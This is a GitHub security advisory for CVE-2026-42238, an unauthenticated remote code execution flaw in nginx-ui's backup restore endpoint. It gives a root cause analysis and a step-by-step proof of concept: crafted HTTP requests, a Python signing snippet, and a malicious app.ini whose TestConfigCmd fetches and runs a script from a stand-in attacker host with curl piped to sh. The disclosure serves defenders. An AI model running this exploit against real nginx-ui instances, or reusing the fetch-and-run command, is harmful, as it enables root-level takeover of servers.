GitHub Advisoryadvisory · Go
GHSA-4pvg-prr3-9cxr Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore
CRITICAL
Official page ↗
- Aliases
- CVE-2026-42238
- Ecosystem
- Go
- Packages
- github.com/0xJacky/nginx-ui
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2026-05-06
Affected packages
• Go github.com/0xJacky/nginx-ui: < 2.3.8 → fixed in 2.3.8
Description
Product: nginx-ui
Repository: `0xJacky/nginx-ui` (branch: `dev`)
Vulnerability Class: Authentication Bypass → Arbitrary File Write → OS Command Injection
Affected Component: `POST /api/restore`
---
1. Vulnerability Summary
nginx-ui exposes a backup restore endpoint (`POST /api/restore`) that is completely unauthenticated during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (`app.ini`) and SQLite database. Because the attacker controls the restored `app.ini`, they can inject an arbitrary OS command into the `TestConfigCmd` setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically `root` in Docker deployments.
The 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart).
---
2. Root Cause Analysis
2.1 The Restore Route Is Registered Without Authentication
`backup.InitRouter` is called on the `root` group, which carries only `IPWhiteList()` middleware — no `AuthRequired()`: 1
The route definition: 2
2.2 The `authIfInstalled` Guard Has a Time-Bounded Bypass
The only authentication guard on the restore route is `authIfInstalled`: 3
It calls `AuthRequired()` only when `InstallLockStatus() || IsInstallTimeoutExceeded()` is true. Both conditions are false on a fresh install within the first 10 minutes: 4
• `InstallLockStatus()` returns `false` because `JwtSecret` is `""` on a fresh install and `SkipInstallation` defaults to `false`.
• `IsInstallTimeoutExceeded()` returns `false` for the first 10 minutes after `startupTime` is set in `init()`.
When both are `false`, `authIfInstalled` calls `ctx.Next()` with zero authentication.
2.3 The `EncryptedForm` Middleware Is Not a Security Barrier
The `EncryptedForm()` middleware between `authIfInstalled` and `RestoreBackup` is optional — it only activates if the request includes an `encrypted_params` field. If that field is absent, it calls `c.Next()` immediately: 5
An attacker sends a plain `multipart/form-data` request without `encrypted_params` and the middleware is a no-op.
2.4 The Attacker Controls the AES Key Used to Verify the Backup
The restore handler accepts the AES key and IV directly from the attacker via the `security_token` form field: 6
The manifest integrity check derives its HMAC signing key from the attacker-supplied AES key: 7
Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.
2.5 Restore Overwrites `app.ini` and the SQLite Database Unconditionally
When `restore_nginx_ui=true`, `restoreNginxUIConfig` directly copies files from the backup onto disk with no content validation: 8
2.6 Restored `TestConfigCmd` Is Executed as a Shell Command
After restore, `risefront.Restart()` is called, reloading `app.ini`: 9
On the next call to `TestConfig()`, the value of `TestConfigCmd` from the restored `app.ini` is passed verbatim to `/bin/sh -c`: 10 11
---
3. Attack Prerequisites
| Requirement | Notes |
|---|---|
| Network access to nginx-ui port | Default: 9000/tcp |
| Target is a fresh install | `JwtSecret` is empty in `app.ini` |
| Within 10 minutes of last process start | Window resets on every restart |
| IP not blocked by `IPWhiteList` | Default config has no IP whitelist |
The 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets `startupTime` via `init()`, reopening the window.
---
4. Step-by-Step Proof of Concept
Step 1 — Confirm the installation window is open
```http
GET /api/install HTTP/1.1
Host: target:9000
```
Expected response confirming vulnerability:
```json
{"lock": false, "timeout": false}
```
Step 2 — Craft the malicious backup
The backup format (derived from `internal/backup/backup.go`) is:
```
backup-TIMESTAMP.zip ← outer ZIP (unencrypted)
├── manifest.json ← JSON manifest
├── manifest.sig ← HMAC-SHA256 of manifest.json
├── nginx-ui.zip ← AES-CBC encrypted inner ZIP
└── nginx.zip ← AES-CBC encrypted inner ZIP
```
2a. Generate a random 32-byte AES key and 16-byte IV.
2b. Create the malicious `app.ini` to place inside `nginx-ui.zip`:
```ini
[app]
JwtSecret = attacker_chosen_jwt_secret_32chars
[node]
Secret = attacker_chosen_node_secret
[nginx]
TestConfigCmd = curl http://attacker.com/shell.sh|sh
```
2c. Create a SQLite database (`nginx-ui.db`) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access).
2d. Package `app.ini` and `nginx-ui.db` into `nginx-ui.zip`. Package an empty or minimal `nginx.zip`.
2e. Encrypt both ZIPs with AES-256-CBC using your key and IV.
2f. Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build `manifest.json`:
```json
{
"schema": 1,
"created_at": "20260421-120000",
"version": "2.0.0",
"files": [
{"name": "nginx-ui.zip", "sha256": "", "size": },
{"name": "nginx.zip", "sha256": "", "size": }
]
}
```
2g. Compute the HMAC-SHA256 signature of `manifest.json` using the signing key derived as:
```python
import hashlib, hmac
context = b"nginx-ui-backup-signing-v1:"
signing_key = hashlib.sha256(context + aes_key).digest()
sig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()
```
2h. Assemble the outer ZIP containing `manifest.json`, `manifest.sig`, `nginx-ui.zip`, `nginx.zip`.
Step 3 — Upload the malicious backup (no authentication required)
```http
POST /api/restore HTTP/1.1
Host: target:9000
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="backup_file"; filename="evil.zip"
Content-Type: application/zip
[crafted backup bytes]
------Boundary
Content-Disposition: form-data; name="security_token"
:
------Boundary
Content-Disposition: form-data; name="restore_nginx_ui"
true
------Boundary--
```
Expected response (HTTP 200):
```json
{"nginx_ui_restored": true, "nginx_restored": false, "hash_match": true}
```
nginx-ui calls `risefront.Restart()` 2 seconds later, loading the attacker's `app.ini`.
Step 4 — Trigger RCE using the restored node secret
After the restart (wait ~3 seconds):
```http
POST /api/nginx/test HTTP/1.1
Host: target:9000
X-Node-Secret: attacker_chosen_node_secret
```
nginx-ui executes:
```sh
/bin/sh -c "curl http://attacker.com/shell.sh|sh"
```
The attacker now has a reverse shell running as the nginx-ui process user (typically `root` in Docker).
---
5. Impact
• Confidentiality: Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in `app.ini`.
• Integrity: Arbitrary modification of all nginx configurations and nginx-ui application state.
• Availability: Complete denial of service; nginx and nginx-ui can be stopped or misconfigured.
• Scope: OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode.
---
6. Affected Versions
All versions of nginx-ui where `authIfInstalled` is used as the sole authentication guard on `POST /api/restore`. The vulnerability is present in the current `dev` branch.
---
7. Recommended Fix
Primary fix — Require authentication uncondit…
Related
Alias · CVE (1)
- CVE-2026-42238 Nginx UI is a web user interface for the Nginx web server. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness